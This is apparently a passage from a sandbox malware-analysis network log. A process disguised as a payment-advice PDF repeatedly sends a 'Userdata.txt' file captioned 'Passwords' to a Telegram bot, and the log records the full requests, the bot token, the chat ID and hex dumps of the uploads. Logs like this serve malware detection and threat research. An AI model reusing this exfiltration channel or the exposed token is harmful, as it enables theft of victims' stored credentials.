2024-12-17 07:43:18 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 65 37 32 38 33 61 37 36 64 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1e7283a76d25Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:19 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:19 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 33 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13687,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421399,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49766	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:22 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1e9d6fdd08c3 Host: api.telegram.org Content-Length: 1090
2024-12-17 07:43:22 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 65 39 64 36 66 64 64 30 38 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1e9d6fdd08c3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:22 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:22 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 30 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13688,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421402,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49778	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:25 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1ec81d1bdcb8 Host: api.telegram.org Content-Length: 1090
2024-12-17 07:43:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 65 63 38 31 64 31 62 64 63 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1ec81d1bdcb8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:25 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:26 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13689,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421405,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49784	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:28 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1ef12d1812cc Host: api.telegram.org Content-Length: 1090
2024-12-17 07:43:28 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 65 66 31 32 64 31 38 31 32 63 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1ef12d1812ccContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:29 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:29 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13690,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421409,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49794	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:32 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1f1a00c07beb Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:32 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 66 31 61 30 30 63 30 37 62 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1f1a00c07bebContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:32 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:32 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13691,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421412,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49805	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:35 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1f43f2bafc9c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:35 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 66 34 33 66 32 62 61 66 63 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1f43f2bafc9cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:36 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:36 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 31 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13692,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421416,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49813	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:39 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1f6c4e620d42 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 66 36 63 34 65 36 32 30 64 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1f6c4e620d42Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:39 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:39 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 31 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13693,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421419,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49825	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:42 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1f946ce6ca9c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 66 39 34 36 63 65 36 63 61 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1f946ce6ca9cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:42 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
